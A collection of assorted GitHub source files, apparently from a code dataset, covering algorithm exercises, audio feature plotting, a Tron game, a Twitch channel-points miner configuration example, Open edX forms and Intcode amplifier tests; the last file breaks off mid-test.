+{"seq_id":"27019872425","text":"# -*- coding: utf-8 -*-\n# @Time    : 2019/1/30 12:06\n# @Author  : Xingjh\n# @Email   : xjh_0125@sina.com\n# @File    : solve_equation.py\n# @Software: PyCharm\n\nimport re\nimport math\n\n\nclass Solution:\n    def solveEquation(self, equation):\n        \"\"\"\n        求解一个给定的方程，将x以字符串\"x=#value\"的形式返回。该方程仅包含'+'，' - '操作，变量 x 和其对应系数。\n\n如果方程没有解，请返回“No solution”。\n\n如果方程有无限解，则返回“Infinite solutions”。\n\n如果方程中只有一个解，要保证返回值 x 是一个整数。\n        :type equation: str\n        :rtype: str\n        \"\"\"\n        result = ''\n        li = equation.split('=')\n        li_left = li[0]\n        li_right = li[1]\n        x_patt = re.compile('([+|-]*[\\d]*)x')\n        d_patt = re.compile('([+|-]*[\\d]+)')\n        x_left = x_patt.findall(li_left)\n        tmp = re.sub(x_patt, '', li_left)\n        d_left = d_patt.findall(tmp)\n        # print(tmp, li_left, equation)\n        x_right = x_patt.findall(li_right)\n        tmp = re.sub(x_patt, '', li_right)\n        d_right = d_patt.findall(tmp)\n        # print(x_left, x_right, d_left, d_right, equation)\n        # print(x_left, self.change(x_left), self.sum(self.change(x_left)))\n        # print(x_right, self.change(x_right), self.sum(self.change(x_right)))\n        # print(d_left, self.change(d_left), self.sum(self.change(d_left)))\n        # print(d_right, self.change(d_right), self.sum(self.change(d_right)))\n        x_total = self.sum(self.change(x_left)) - self.sum(self.change(x_right))\n        d_total = self.sum(self.change(d_right)) - self.sum(self.change(d_left))\n        # print(x_total, d_total, equation)\n        if x_total == 0:\n            if d_total == 0:\n                result = 'Infinite solutions'\n            else:\n                result = 'No solution'\n        else:\n            if d_total == 0:\n                result = 'x=0'\n            else:\n                result = 'x=' + str(round(d_total / x_total))\n        print(equation)\n        return result\n\n    def change(self, li):\n        result = []\n        for i in li:\n            if i == '' or i == '+':\n                i = 1\n            elif i == '-':\n                i = -1\n            result.append(int(i))\n        return result\n\n    def sum(self, li):\n        result = 0\n        for i in li:\n            result += i\n        return result\n\n    def test(self):\n        print(self.solveEquation('1+x+5+2x-4-3x+5-6=4x+3x+5'))\n        print(self.solveEquation('x+5-3+x=6+x-2'))\n        print(self.solveEquation('x=x'))\n        print(self.solveEquation('2x=x'))\n        print(self.solveEquation('x=x+2'))\n\n\nif __name__ == '__main__':\n    s = Solution()\n    s.test()\n","repo_name":"xjh1230/py_algorithm","sub_path":"test/solve_equation.py","file_name":"solve_equation.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"42291489403","text":"from math import sqrt\n\nn=int(input())\ns=int(sqrt(n))\n\ntemp=1\nfor i in range(2,s+1):\n    if n%i==0:\n        temp=n//i\n        break\n\nif temp>=n-1:\n    print(n-1)\nelse:\n    print(n-temp)\n","repo_name":"Shovon588/Programming","sub_path":"Team Forming Contest/IUPC/TFC 1/I - Frane's Function.py","file_name":"I - Frane's Function.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"41539349178","text":"#! /usr/bin/env python\n#-*- coding: utf-8 -*-\n\n\"\"\" 楽曲から抽出した特徴量のプロット \"\"\"\n\nimport sys\nimport numpy as np\nimport librosa\nimport librosa.display\nimport matplotlib.pyplot as plt\nimport matplotlib.style as ms\nms.use('seaborn-muted')\n\n# my module\nsys.path.append('../feature_extraction/')\nimport feature_extraction\n\n# constant value\nSAMPLING_RATE = 44100  # Hz\nWINDOW = 0.2  # sec\nSHIFT = 0.1  # sec\nN_FFT = int(SAMPLING_RATE * WINDOW)  # 8820\nHOP_LENGTH = int(SAMPLING_RATE * SHIFT)  # 4410\n\n\n##################################################\n# for timbre\n##################################################\n\ndef plot_mfcc(y):\n    \"\"\" plot MFCC \"\"\"\n\n    # compute MFCC, first delta, second delta\n    mfcc, delta1_mfcc, delta2_mfcc = feature_extraction.mfcc(y)\n\n    # plot\n    plt.clf()\n    plt.figure(figsize=(12, 6))\n    # - MFCC\n    plt.subplot(311)\n    librosa.display.specshow(mfcc)\n    plt.ylabel('MFCC')\n    plt.colorbar()\n    # - first delta\n    plt.subplot(312)\n    librosa.display.specshow(delta1_mfcc)\n    plt.ylabel('MFCC-$\\Delta$')\n    plt.colorbar()\n    # - second delta\n    plt.subplot(313)\n    librosa.display.specshow(delta2_mfcc, sr=SAMPLING_RATE, x_axis='time')\n    plt.ylabel('MFCC-$\\Delta^2$')\n    plt.colorbar()\n\n    plt.savefig('../../graph/' + 'mfcc.png', dvi=300)\n    plt.tight_layout()\n\n\ndef plot_power(y):\n    \"\"\" plot power \"\"\"\n\n    # compute log power spectrogram\n    S, phase = librosa.magphase(librosa.stft(y,\n                                             n_fft=N_FFT,\n                                             hop_length=HOP_LENGTH))\n    log_P = librosa.logamplitude(S**2, ref_power=np.max)\n\n    # compute power, first delta\n    power, delta1_power = feature_extraction.power(y)\n\n    # plot\n    plt.clf()\n    plt.figure(figsize=(12, 6))\n    # - power\n    plt.subplot(311)\n    plt.semilogy(power.T, label='RMS Energy')\n    plt.xticks([])\n    plt.xlim([0, power.shape[-1]])\n    plt.legend(loc='best')\n    # - first delta\n    plt.subplot(312)\n    plt.semilogy(delta1_power.T, label='RMS Energy-$\\Delta$')\n    plt.xticks([])\n    plt.xlim([0, delta1_power.shape[-1]])\n    plt.legend(loc='best')\n    # - log power spectrogram\n    plt.subplot(313)\n    librosa.display.specshow(log_P, y_axis='log', x_axis='time')\n    plt.title('log Power spectrogram')\n    # plt.colorbar()\n\n    plt.savefig('../../graph/' + 'power.png', dvi=300)\n    plt.tight_layout()\n    # なんで曲の途中までしか表示されない？\n    # Hzが表示されてる\n\n\n##################################################\n# for harmony\n##################################################\n\ndef plot_chroma(y):\n    \"\"\" plot chromagram \"\"\"\n\n    # compute chromagram\n    C = feature_extraction.chroma(y)\n\n    # plot\n    plt.clf()\n    plt.figure(figsize=(12, 5))\n    # Display the chromagram: the energy in each chromatic pitch class as a function of time\n    # To make sure that the colors span the full range of chroma values,\n    # set vmin and vmax\n    librosa.display.specshow(C,\n                             sr=SAMPLING_RATE,\n                             x_axis='time',\n                             y_axis='chroma',\n                             vmin=0,\n                             vmax=1)\n    plt.title('Chromagram')\n    plt.colorbar()\n\n    plt.savefig('../../graph/' + 'chroma.png', dvi=300)\n    plt.tight_layout()\n\n\n##################################################\n# for tempo\n##################################################\n\ndef plot_tempogram(y):\n    \"\"\" plot tempogram \"\"\"\n\n    # compute tempogram\n    tempogram = feature_extraction.tempogram(y)\n\n    # plot\n    plt.clf()\n\n\n##################################################\n# for rhythm\n##################################################\n\ndef plot_mel_spectrogram(y):\n    \"\"\" plot Mel spectrogram \"\"\"\n\n    # compute Mel spectrogram\n    log_S = feature_extraction.mel_spectrogram(y)\n\n    # plot\n    plt.clf()\n    plt.figure(figsize=(12, 5))\n    librosa.display.specshow(log_S, sr=SAMPLING_RATE,\n                             x_axis='time', y_axis='mel', fmax=8000)\n    plt.title('mel power spectrogram')\n    plt.colorbar(format='%+02.0f dB')\n\n    plt.savefig('../../graph/' + 'mel_spectrogram.png', dvi=300)\n    plt.tight_layout()\n\n\ndef plot_mel_spectrogram_harmonic_percussive(y):\n    \"\"\" plot harmonic and percussive Mel spectrogram \"\"\"\n\n    # compute harmonic and percussive Mel spectrogram\n    y_harmonic, y_percussive = librosa.effects.hpss(y)\n    log_Sh = feature_extraction.mel_spectrogram(y_harmonic)\n    log_Sp = feature_extraction.mel_spectrogram(y_percussive)\n\n    # plot\n    plt.clf()\n    plt.figure(figsize=(12, 6))\n    # - harmonic\n    plt.subplot(211)\n    librosa.display.specshow(log_Sh, sr=SAMPLING_RATE, y_axis='mel')\n    plt.title('mel power spectrogram (Harmonic)')\n    plt.colorbar(format='%+02.0f dB')\n    # - percussive\n    plt.subplot(212)\n    librosa.display.specshow(log_Sp, sr=SAMPLING_RATE,\n                             x_axis='time', y_axis='mel')\n    plt.title('mel power spectrogram (Percussive)')\n    plt.colorbar(format='%+02.0f dB')\n\n    plt.savefig('../../graph/' + 'harmonic_percussive.png', dvi=300)\n    plt.tight_layout()\n\n\n##################################################\n# for vocal\n##################################################\n\ndef plot_f0(y):\n    \"\"\" plot F0 \"\"\"\n\n    # compute F0, first delta\n    f0, delta1_f0 = feature_extraction.f0(y)\n\n    #️⃣ うまく表示されてない\n\n    # plot\n    plt.clf()\n    plt.figure(figsize=(12, 6))\n    # - F0\n    plt.subplot(211)\n    plt.semilogy(f0.T, label='RMS Energy')\n    plt.xticks([])\n    plt.xlim([0, f0.shape[-1]])\n    plt.legend(loc='best')\n    # - first delta\n    # plt.subplot(211)\n    # plt.semilogy(power.T, label='RMS Energy')\n    # plt.xticks([])\n    # plt.xlim([0, power.shape[-1]])\n    # plt.legend(loc='best')\n\n    # plt.title('log Power spectrogram')\n    plt.savefig('../../graph/' + 'f0.png', dvi=300)\n    plt.tight_layout()\n\n\ndef main():\n    filepath = '../../wav/1000/100000271.wav'\n    y = feature_extraction.read_wav_file(filepath)\n    # plot_mfcc(y)\n    plot_power(y)\n    # plot_mel_spectrogram(y)\n    # plot_mel_spectrogram_harmonic_percussive(y)\n\n    plot_f0(y)\n    # plot_chroma(y)\n    # plot_tempogram(y)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"hirofumi0810/music_recommendation","sub_path":"src/plot/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":6254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21686428344","text":"import time\nimport os\nimport multiprocessing as mp\n\nfrom compose.cli.main import TopLevelCommand, project_from_options\nfrom urllib import request, parse\n\nfrom tests.common.docker import FTDocker\n\n\ndef get_data_from_graphite_render_api(target, **other_options):\n    base_url = \"http://localhost/render\"\n    #\"?target=&format=raw&from=-1800s\"\n    parms = {\n        \"target\": target,\n        \"format\": \"raw\",\n        \"from\": \"-10s\",\n    }\n    parms.update(other_options)\n    querystring = parse.urlencode(parms)\n    u = request.urlopen(base_url+\"?\"+querystring)\n    #print(\"[X] URL='{}'\".format(base_url+\"?\"+querystring))\n    resp = u.read()\n    return resp.decode()\n\n\nclass Graphite(FTDocker):\n    \"\"\"This class is an interface to Graphite through docker-compose. It can create\n    and manipulate a Graphite system.\n    \"\"\"\n    \n    def __init__(self):\n        base = os.path.dirname(__file__)\n        super().__init__(os.path.join(base, \"data/graphite\"))\n\n                \n\nif __name__ == \"__main__\":\n    # some test:\n    g = Graphite()\n    g.down()\n    g.up()\n    g.wait_until_running()\n    time.sleep(60)\n    g.down()\n\n\n","repo_name":"palao/FrUCToSA","sub_path":"tests/functional/graphite.py","file_name":"graphite.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74674645202","text":"class Solution:\n    def smallestGoodBase(self, n: str) -> str:\n        n = int(n)\n        result = n - 1 # each number n has good base n - 1\n\n        # n = k^i + k^(i-1) + k^(i-2) + ... + k^2 + k + 1\n        for i in range(2, 64):    # 10^18 < 2^64\n            k = floor(n**(1 / i)) # i-th root of n\n            if k == 1:\n                break\n\n            s = sum(k**j for j in range(i + 1))\n            if s == n:\n                result = k\n\n        return str(result)\n","repo_name":"stbrumme/leetcode","sub_path":"0483.py","file_name":"0483.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"38546530494","text":"#!/usr/bin/env python3\n# game.py\n\nfrom wall import Wall\nfrom window import Window\nfrom player import Player\nfrom time import clock\n__author__ = 'Seth Tinglof'\n__version__ = '1.0'\n\n\nclass Game:\n\n    SIZE_X = 1280\n    SIZE_Y = 720\n\n    def __init__(self):\n        \"\"\"\n        Starts a new Tron game\n        :return: self\n        \"\"\"\n        self.walls = []\n        self.characters = []\n        self.playing = True\n        self.blue_score = 0\n        self.red_score = 0\n        self.frame = 0\n        self.create_characters()\n        self.create_initial_walls()\n        self.wall_start = [[100, 350], [1180, 350]]\n        self.window = Window(self.characters, self.walls)\n        self.window.root.after(10, self.intro)\n        self.window.root.mainloop()\n\n    def create_characters(self):\n        \"\"\"\n        Creates the players characters\n        :return: None\n        \"\"\"\n        self.characters.append(Player(100, 350, 'blue', 0))\n        self.characters.append(Player(1180, 350, 'red', 180))\n\n    def create_initial_walls(self):\n        \"\"\"\n        Creates walls around the border of the map.\n        :return: None\n        \"\"\"\n        self.walls.append(Wall(True, 0, 1280, 0, 'black'))\n        self.walls.append(Wall(True, 0, 1280, 707, 'black'))\n        self.walls.append(Wall(False, 0, 0, 720, 'black'))\n        self.walls.append(Wall(False, 1280, 0, 720, 'black'))\n\n    def create_wall(self, player_number):\n        \"\"\"\n        Creates a new wall that the players cannot cross based on the last position that the player turned and\n        the players current position.\n        :param player_number: The index of the player who the wall is being created from.\n        :return: a new Wall object.\n        \"\"\"\n        horizontal = self.wall_start[player_number][1] == self.characters[player_number].get_y_pos()\n        if horizontal:\n            if self.wall_start[player_number][0] < self.characters[player_number].get_x_pos():\n                new_wall = Wall(horizontal, self.wall_start[player_number][0], self.characters[player_number].get_x_pos(),\n                                self.characters[player_number].get_y_pos(), self.characters[player_number].get_color())\n            else:\n                new_wall = Wall(horizontal, self.characters[player_number].get_x_pos(), self.wall_start[player_number][0],\n                                self.characters[player_number].get_y_pos(), self.characters[player_number].get_color())\n        else:\n            if self.wall_start[player_number][1] < self.characters[player_number].get_y_pos():\n                new_wall = Wall(horizontal, self.wall_start[player_number][0], self.wall_start[player_number][1],\n                                self.characters[player_number].get_y_pos(), self.characters[player_number].get_color())\n            else:\n                new_wall = Wall(horizontal, self.wall_start[player_number][0], self.characters[player_number].get_y_pos(),\n                                self.wall_start[player_number][1], self.characters[player_number].get_color())\n        return new_wall\n\n    def add_wall(self, player_num):\n        \"\"\"\n        Adds a wall to the list of wall that the player has drawn.  This wall lasts the duration of the game,\n        This method is meant only to be used when the player turns.\n        :param player_num: Index of player that is getting the new wall.\n        :return: None\n        \"\"\"\n        wall = self.create_wall(player_num)\n        self.walls.append(wall)\n        self.characters[player_num].unhittable_walls[1] = wall\n        self.wall_start[player_num] = [self.characters[player_num].get_x_pos(), self.characters[player_num].get_y_pos()]\n\n    def create_temp_walls(self):\n        \"\"\"\n        Creates temporary walls that only last for this frame.  These are the walls actively created behind the player.\n        :return: None\n        \"\"\"\n        temp_walls = []\n        for i in range(len(self.characters)):\n            temp_walls.append(self.create_wall(i))\n            self.walls.append(temp_walls[i])\n            self.characters[i].unhittable_walls[0] = temp_walls[i]\n        return temp_walls\n\n    def delete_temp_walls(self, temp_walls):\n        \"\"\"\n        Removes temporary walls at the end of the frame.\n        :param temp_walls: wall objects to be removed in a list.\n        :return: None\n        \"\"\"\n        for wall in temp_walls:\n            self.walls.remove(wall)\n\n    def collisions_check(self):\n        \"\"\"\n        Checks if either player has hit a wall.  If one player has, then the other wins.\n        :return: None\n        \"\"\"\n        for wall in self.walls:\n            for i in range(len(self.characters)):\n                if wall.check_collision(self.characters[i]) and not wall == self.characters[i].unhittable_walls[0]\\\n                        and not wall == self.characters[i].unhittable_walls[1]:\n                    self.playing = False\n                    if i == 0:\n                        self.red_score += 1\n                    else:\n                        self.blue_score += 1\n                    self.window.set_score(self.blue_score, self.red_score)\n\n    def intro(self):\n        self.window.intro()\n        self.window.play_button['command'] = self.start_game\n\n    def start_game(self):\n        \"\"\"\n        Begins playing game for the first time.\n        :return: None\n        \"\"\"\n        self.window.intro_frame.pack_forget()\n        self.window.center_frame.pack()\n        self.window.root.bind(\"<KeyPress>\", self.key_pressed)\n        self.game_loop()\n\n    def game_loop(self):\n        \"\"\"\n        Main game loop.  Runs for the duration of the game.\n        :return: None\n        \"\"\"\n        while True:\n            next_time = 0\n            while self.playing:\n                current_time = clock()\n                if current_time >= next_time:\n                    for character in self.characters:\n                        character.move()\n                    temp_walls = self.create_temp_walls()\n                    self.window.update_canvas()\n                    self.collisions_check()\n                    self.delete_temp_walls(temp_walls)\n                    next_time = current_time + 1 / 60\n                    self.frame += 1\n            self.walls = []\n            self.characters = []\n            self.window.walls = self.walls\n            self.window.characters = self.characters\n            self.playing = True\n            self.create_characters()\n            self.create_initial_walls()\n            self.wall_start = [[100, 350], [1180, 350]]\n\n    def key_pressed(self, event):\n        \"\"\"\n        Responds to key pressed events.  Allows users to control their characters.\n        :param event: Key pressed event.\n        :return: None\n        \"\"\"\n        ######################\n        # Player One\n        ######################\n        if event.char == 'a' and not self.characters[0].get_angle() == 0 \\\n                and not self.characters[0].get_angle() == 180 and self.characters[0].last_turn_frame <= self.frame - 2:\n            self.characters[0].set_angle(180)\n            self.add_wall(0)\n            self.characters[0].last_turn_frame = self.frame\n        elif event.char == 'w' and not self.characters[0].get_angle() == 270 \\\n                and not self.characters[0].get_angle() == 90 and self.characters[0].last_turn_frame <= self.frame - 2:\n            self.characters[0].set_angle(90)\n            self.add_wall(0)\n            self.characters[0].last_turn_frame = self.frame\n        elif event.char == 'd' and not self.characters[0].get_angle() == 180 \\\n                and not self.characters[0].get_angle() == 0 and self.characters[0].last_turn_frame <= self.frame - 2:\n            self.characters[0].set_angle(0)\n            self.add_wall(0)\n            self.characters[0].last_turn_frame = self.frame\n        elif event.char == 's' and not self.characters[0].get_angle() == 90 \\\n                and not self.characters[0].get_angle() == 270 and self.characters[0].last_turn_frame <= self.frame - 2:\n            self.characters[0].set_angle(270)\n            self.add_wall(0)\n            self.characters[0].last_turn_frame = self.frame\n        ######################\n        # Player Two\n        ######################\n        elif event.keysym == 'Left' and not self.characters[1].get_angle() == 0 \\\n                and not self.characters[1].get_angle() == 180 and self.characters[1].last_turn_frame <= self.frame - 2:\n            self.characters[1].set_angle(180)\n            self.add_wall(1)\n            self.characters[1].last_turn_frame = self.frame\n        elif event.keysym == 'Up' and not self.characters[1].get_angle() == 270 \\\n                and not self.characters[1].get_angle() == 90 and self.characters[1].last_turn_frame <= self.frame - 2:\n            self.characters[1].set_angle(90)\n            self.add_wall(1)\n            self.characters[1].last_turn_frame = self.frame\n        elif event.keysym == 'Right' and not self.characters[1].get_angle() == 180 \\\n                and not self.characters[1].get_angle() == 0 and self.characters[1].last_turn_frame <= self.frame - 2:\n            self.characters[1].set_angle(0)\n            self.add_wall(1)\n            self.characters[1].last_turn_frame = self.frame\n        elif event.keysym == 'Down' and not self.characters[1].get_angle() == 90 \\\n                and not self.characters[1].get_angle() == 270 and self.characters[1].last_turn_frame <= self.frame - 2:\n            self.characters[1].set_angle(270)\n            self.add_wall(1)\n            print(self.characters[1].last_turn_frame)\n            print(self.frame)\n            self.characters[1].last_turn_frame = self.frame\n","repo_name":"seth-tinglof/Tron-Like","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":9634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12703789262","text":"import logging\n\nlogging.basicConfig(filename='./app.log',\n                    filemode='w', format='%(name)s - %(levelname)s - %(message)s', level=logging.INFO)\n\n\nimport pandas as pd\nimport constants\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom tqdm import tqdm\n\n\n\nclass Similarity:\n    \"\"\"\n        For calculating and saving similarity matrix of users in csv\n    \"\"\"\n    def __init__(self, file_name):\n        self.file_name = file_name\n\n    def create_similarity_matrix(self, user, aggregated_df):\n        \"\"\"\n        Save the similarity matrix in the csv data\n        :param user:\n        :param aggregated_df:\n        :return: void\n        \"\"\"\n        try:\n            user_matrix = pd.DataFrame(user)\n            user_matrix.index = aggregated_df['user_handle']\n            user_sim_matrix = cosine_similarity(user_matrix)\n\n            user_sim_matrix = pd.DataFrame(user_sim_matrix, columns=list(aggregated_df['user_handle']))\n\n            user_sim_matrix['user_handle'] = aggregated_df['user_handle']\n\n            user_sim_matrix.index = user_sim_matrix.user_handle.values\n\n            cols_to_sort = user_sim_matrix.user_handle.tolist()\n\n            user_based_top_similarity = []\n\n            for val in tqdm(cols_to_sort):\n                user_based_top_similarity.append(user_sim_matrix[val].\n                                                 sort_values(ascending=False).index.tolist()[1:constants.top_k + 1])\n\n            top_columns = ['top_' + str(ind) for ind in range(1, constants.top_k + 1)]\n\n            user_sim_matrix.reset_index(inplace=True)\n            user_based_top_similarity_df = pd.DataFrame(user_based_top_similarity, columns=top_columns)\n            user_based_top_similarity_df['user_handle'] = user_sim_matrix['user_handle']\n            user_based_top_similarity_df.to_csv(self.file_name, index=False)\n\n        except Exception as e:\n            logging.error('Error in create_similarity_matrix', e)\n            raise e\n\n\n","repo_name":"karthiktsaliki/recommendations","sub_path":"similarity_calculation.py","file_name":"similarity_calculation.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1946853097","text":"# -*- coding: utf-8 -*-\n\nimport logging\nfrom TwitchChannelPointsMiner import TwitchChannelPointsMiner\nfrom TwitchChannelPointsMiner.logger import LoggerSettings\nfrom TwitchChannelPointsMiner.classes.entities.Bet import Strategy, BetSettings\nfrom TwitchChannelPointsMiner.classes.entities.Streamer import Streamer, StreamerSettings\nfrom TwitchChannelPointsMiner.classes.TwitchBrowser import Browser, BrowserSettings\n\ntwitch_miner = TwitchChannelPointsMiner(\n    username=\"your-twitch-username\",\n    claim_drops_startup=False,          # If you want to auto claim all drops from Twitch inventory on startup\n    logger_settings=LoggerSettings(\n        save=True,                      # If you want to save logs in file (suggested)\n        console_level=logging.INFO,     # Level of logs - use logging.DEBUG for more info)\n        file_level=logging.DEBUG,       # Level of logs - If you think the log file it's too big use logging.INFO\n        emoji=True,                     # On Windows we have a problem to print emoji. Set to false if you have a problem\n        less=False                      # If you think that the logs are too much verborse set this to True\n    ),\n    browser_settings=BrowserSettings(\n        browser=Browser.FIREFOX,        # Choose if you want to use Chrome or Firefox as browser\n        show=False,                     # Show the browser during bet else headless mode\n        do_screenshot=False,            # Do screenshot during the bet\n    ),\n    streamer_settings=StreamerSettings(\n        make_predictions=True,          # If you want to Bet / Make prediction\n        follow_raid=True,               # Follow raid to obtain more points\n        claim_drops=True,               # We can't filter rewards base on stream. Set to False for skip viewing counter increase and you will never obtain a drop reward from this script. Issue #21\n        watch_streak=True,              # If a streamer go online change the priotiry of streamers array and catch the watch screak. Issue #11\n        bet=BetSettings(\n            strategy=Strategy.SMART,    # Choose you strategy!\n            percentage=5,               # Place the x% of your channel points\n            percentage_gap=20,          # Gap difference between outcomesA and outcomesB (for SMART stragegy)\n            max_points=50000,           # If the x percentage of your channel points is gt bet_max_points set this value\n        )\n    )\n)\n\n# You can customize the settings for each streamer. If not settings was provided the script will use the streamer_settings from TwitchChannelPointsMiner.\n# If no streamer_settings provided in TwitchChannelPointsMiner the script will use default settings.\n# The streamers array can be a String -> username or Streamer instance.\n\n# The settings priority are: settings in mine function, settings in TwitchChannelPointsMiner instance, default settings.\n# For example if in the mine function you don't provide any value for 'make_prediction' but you have set it on TwitchChannelPointsMiner instance the script will take the value from here.\n# If you haven't set any value even in the instance the default one will be used\n\ntwitch_miner.mine(\n    [\n        Streamer(\"streamer-username01\", settings=StreamerSettings(make_predictions=True  , follow_raid=False , claim_drops=True  , watch_streak=True , bet=BetSettings(strategy=Strategy.SMART      , percentage=5 , percentage_gap=20 , max_points=234   ) )),\n        Streamer(\"streamer-username02\", settings=StreamerSettings(make_predictions=False , follow_raid=True  , claim_drops=False ,                     bet=BetSettings(strategy=Strategy.PERCENTAGE , percentage=5 , percentage_gap=20 , max_points=1234  ) )),\n        Streamer(\"streamer-username03\", settings=StreamerSettings(make_predictions=True  , follow_raid=False ,                     watch_streak=True , bet=BetSettings(strategy=Strategy.SMART      , percentage=5 , percentage_gap=30 , max_points=50000 ) )),\n        Streamer(\"streamer-username04\", settings=StreamerSettings(make_predictions=False , follow_raid=True  ,                     watch_streak=True                                                                                                        )),\n        Streamer(\"streamer-username05\", settings=StreamerSettings(make_predictions=True  , follow_raid=True  , claim_drops=True ,  watch_streak=True , bet=BetSettings(strategy=Strategy.HIGH_ODDS  , percentage=7 , percentage_gap=20 , max_points=90    ) )),\n        Streamer(\"streamer-username06\"),\n        Streamer(\"streamer-username07\"),\n        Streamer(\"streamer-username08\"),\n        \"streamer-username09\",\n        \"streamer-username10\",\n        \"streamer-username11\"\n    ],                                 # Array of streamers (order = priority)\n    followers=False                    # Automatic download the list of your followers (unable to set custom settings for you followers list)\n)\n","repo_name":"anoviel/Twitch-Channel-Points-Miner-v2","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":4884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"11819201519","text":"# Задайте число. Составьте список чисел Фибоначчи, в том числе для отрицательных индексов. ДОП\n\n# Пример:\n\n# - для k = 8 список будет выглядеть так: [-21 ,13, -8, 5, −3, 2, −1, 1, 0, 1, 1, 2, 3, 5, 8, 13, 21]\n\ndef nega_fibonacci(n):\n\n    if n == 0 or n == 1:\n        return n\n    elif n == -1:\n        return -n\n    elif n < 0:\n        return int(nega_fibonacci(abs(n)) * (-1)**(n + 1))\n    else:\n        return nega_fibonacci(n - 1) + nega_fibonacci(n - 2)\n\n\nn = int(input(\"Введите размер последовательности: \"))\nfor i in range(-n, n + 1):\n    print(nega_fibonacci(i), end=' ')","repo_name":"ggscream/python_homework_3","sub_path":"Task_5.py","file_name":"Task_5.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12615777773","text":"\"\"\"\nDefines a form to provide validations for course-specific configuration.\n\"\"\"\nfrom django import forms\n\nfrom openedx.core.djangoapps.video_config.forms import CourseSpecificFlagAdminBaseForm\nfrom openedx.core.djangoapps.video_pipeline.models import (\n    CourseVideoUploadsEnabledByDefault,\n    VEMPipelineIntegration,\n)\n\n\nclass CourseVideoUploadsEnabledByDefaultAdminForm(CourseSpecificFlagAdminBaseForm):\n    \"\"\"\n    Form for course-specific Video Uploads enabled by default configuration.\n    \"\"\"\n\n    class Meta:\n        model = CourseVideoUploadsEnabledByDefault\n        fields = '__all__'\n\n\nclass VEMPipelineIntegrationAdminForm(forms.ModelForm):\n    \"\"\"\n    Form for VEM Pipeline Integration Admin class.\n    \"\"\"\n    class Meta:\n        model = VEMPipelineIntegration\n        fields = '__all__'\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/video_pipeline/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"32885083863","text":"from unittest import TestCase\nfrom amplifier import Amplifier\nfrom thruster import find_max_signal\n\n\nclass TestAmplifier(TestCase):\n    def test_wait(self):\n        code = [3, 3, 99, 0]\n        amplifier = Amplifier(code)\n        status, signal = amplifier.execute()\n        self.assertEqual(status, 'WAITING')\n        self.assertEqual(signal, None)\n        status, signal = amplifier.execute(10)\n        self.assertEqual(status, 'HALT')\n        self.assertEqual(signal, None)\n\n    def test_io(self):\n        code = [3, 9, 1002, 9, 2, 10, 4, 10, 99, 0, 0]\n        amplifier = Amplifier(code)\n        status, signal = amplifier.execute(3)\n        self.assertEqual(status, 'OUTPUT')\n        self.assertEqual(signal, 6)\n        status, signal = amplifier.execute()\n        self.assertEqual(status, 'HALT')\n        self.assertEqual(signal, None)\n\n    def test_sample_9(self):\n        code = [3, 3, 1107, -1, 8, 3, 4, 3, 99]\n        amplifier = Amplifier(code)\n        status, signal = amplifier.execute(0)\n        self.assertEqual(status, 'OUTPUT')\n        self.assertEqual(signal, 1)\n        status, signal = amplifier.execute()\n        self.assertEqual(status, 'HALT')\n        self.assertEqual(signal, None)\n\n    def test_sample_11(self):\n        code = [3, 12, 6, 12, 15, 1, 13, 14, 13, 4, 13, 99, -1, 0, 1, 9]\n        amplifier = Amplifier(code)\n        status, signal = amplifier.execute(1)\n        self.assertEqual(status, 'OUTPUT')\n        self.assertEqual(signal, 1)\n        status, signal = amplifier.execute()\n        self.assertEqual(status, 'HALT')\n        self.assertEqual(signal, None)\n\n\nclass TestFindMaxSignal(TestCase):\n    def test_sample_1(self):\n        code = '3,15,3,16,1002,16,10,16,1,16,15,15,4,15,99,0,0'\n        code = [int(n) for n in code.split(',')]\n        self.assertEqual(find_max_signal(code), 43210)\n\n    def test_sample_2(self):\n        code = '3,23,3,24,1002,24,10,24,1002,23,-1,23,' + \\\n               '101,5,23,23,1,24,23,23,4,23,99,0,0'\n        code = [int(n) for n in code.split(',')]\n        self.assertEqual(find_max_signal(code), 54321)\n\n    def test_sample_3(self):\n        code = '3,31,3,32,1002,32,10,32,1001,31,-2,31,1007,31,0,33,' + \\\n               '1002,33,7,33,1,33,31,31,1,32,31,31,4,31,99,0,0,0'\n        code = [int(n) for n in code.split(',')]\n        self.assertEqual(find_max_signal(code), 65210)\n\n    def test_sample_4(self):\n        code = '3,26,1001,26,-4,26,3,27,1002,27,2,27,1,27,26,' + \\\n               '27,4,27,1001,28,-1,28,1005,28,6,99,0,0,5'\n        code = [int(n) for n in code.split(',')]\n        self.assertEqual(find_max_signal(code, [5, 6, 7, 8, 9]), 139629729)\n\n    def test_sample_5(self):\n        code = '3,52,1001,52,-5,52,3,53,1,52,56,54,1007,54,5,55,1005,' + \\\n               '55,26,1001,54,-5,54,1105,1,12,1,53,54,53,1008,54,0,55,' + \\\n               '1001,55,1,55,2,53,55,53,4,53,1001,56,-1,56,1005,56,6,' + \\\n               